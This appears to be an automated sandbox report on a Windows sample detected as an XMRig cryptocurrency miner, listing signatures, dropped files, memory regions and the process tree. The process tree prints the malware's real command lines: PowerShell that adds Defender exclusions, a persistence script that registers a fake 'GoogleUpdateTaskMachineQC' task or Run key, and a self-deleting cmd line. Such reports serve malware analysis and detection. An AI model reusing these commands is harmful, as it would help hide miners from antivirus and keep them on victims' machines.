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240125-vfcyksbhgr10

24/01/2024, 17:15

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Analysis

  • max time kernel
    1800s
  • max time network
    1807s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3492
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1480
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3420
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1604
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3540
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4076
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4196
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:3064
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4116
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4684
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4072
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            1⤵
            • Drops file in Program Files directory
            PID:4780

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 453KB
                • SHA256 fd90c20fc4a6e3e21b98a5d54f52e1e31c9136cf5d978f2721aee8331a48e9e2
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 449KB
                • SHA256 25c9e5c74ca1128fff907c3da20ca106766b0b2574b9417fa1170942d0793185
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 7828be27455ec80e2c1273a7243655455a62dfd66afee04e007bf26da428e0e7
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_r42xulgd.l1a.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r42xulgd.l1a.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1480-30-0x000001ED61200000-0x000001ED61210000-memory.dmp

                memory/1480-34-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/1480-32-0x000001ED61200000-0x000001ED61210000-memory.dmp

                memory/1480-29-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/1480-31-0x000001ED61200000-0x000001ED61210000-memory.dmp

                memory/3000-0-0x00007FF6AD420000-0x00007FF6AD631000-memory.dmp

                memory/3000-36-0x00007FF6AD420000-0x00007FF6AD631000-memory.dmp

                memory/3080-37-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/3080-38-0x000002292EFC0000-0x000002292EFD0000-memory.dmp

                memory/3080-52-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/3080-39-0x000002292EFC0000-0x000002292EFD0000-memory.dmp

                memory/3500-14-0x00000230EDE60000-0x00000230EDE70000-memory.dmp

                memory/3500-17-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/3500-13-0x00000230EDE60000-0x00000230EDE70000-memory.dmp

                memory/3500-1-0x00000230EDF70000-0x00000230EDF92000-memory.dmp

                memory/3500-11-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/3500-12-0x00000230EDE60000-0x00000230EDE70000-memory.dmp

                memory/3540-78-0x0000025F76130000-0x0000025F7614C000-memory.dmp

                memory/3540-83-0x0000025F76160000-0x0000025F7616A000-memory.dmp

                memory/3540-77-0x0000025F75D00000-0x0000025F75D0A000-memory.dmp

                memory/3540-75-0x00007FF471FF0000-0x00007FF472000000-memory.dmp

                memory/3540-79-0x0000025F76110000-0x0000025F7611A000-memory.dmp

                memory/3540-80-0x0000025F76170000-0x0000025F7618A000-memory.dmp

                memory/3540-81-0x0000025F76120000-0x0000025F76128000-memory.dmp

                memory/3540-76-0x0000025F75F10000-0x0000025F75FC5000-memory.dmp

                memory/3540-82-0x0000025F76150000-0x0000025F76156000-memory.dmp

                memory/3540-84-0x0000025F75260000-0x0000025F75270000-memory.dmp

                memory/3540-87-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/3540-74-0x0000025F75CE0000-0x0000025F75CFC000-memory.dmp

                memory/3540-64-0x0000025F75260000-0x0000025F75270000-memory.dmp

                memory/3540-63-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/4076-101-0x000001E8A8AE0000-0x000001E8A8AF0000-memory.dmp

                memory/4076-102-0x000001E8A8AE0000-0x000001E8A8AF0000-memory.dmp

                memory/4076-103-0x00007FF4D4AF0000-0x00007FF4D4B00000-memory.dmp

                memory/4076-113-0x000001E8A8AE0000-0x000001E8A8AF0000-memory.dmp

                memory/4076-115-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/4076-99-0x00007FFD080F0000-0x00007FFD08BB1000-memory.dmp

                memory/4076-100-0x000001E8A8AE0000-0x000001E8A8AF0000-memory.dmp

                memory/4116-126-0x00007FF6C4A80000-0x00007FF6C4A96000-memory.dmp

                memory/4116-132-0x00007FF6C4A80000-0x00007FF6C4A96000-memory.dmp

                memory/4196-141-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-151-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-125-0x0000020766E00000-0x0000020766E40000-memory.dmp

                memory/4196-187-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-127-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-129-0x0000020766E60000-0x0000020766E80000-memory.dmp

                memory/4196-128-0x0000020766E40000-0x0000020766E60000-memory.dmp

                memory/4196-131-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-122-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-133-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-134-0x0000020766E40000-0x0000020766E60000-memory.dmp

                memory/4196-135-0x0000020766E60000-0x0000020766E80000-memory.dmp

                memory/4196-137-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-139-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-185-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-143-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-145-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-147-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-149-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-123-0x00000207568D0000-0x00000207568F0000-memory.dmp

                memory/4196-153-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-155-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-157-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-159-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-161-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-163-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-165-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-167-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-169-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-171-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-173-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-175-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-177-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-179-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-181-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4196-183-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp

                memory/4684-53-0x00007FF733ED0000-0x00007FF7340E1000-memory.dmp

                memory/4684-124-0x00007FF733ED0000-0x00007FF7340E1000-memory.dmp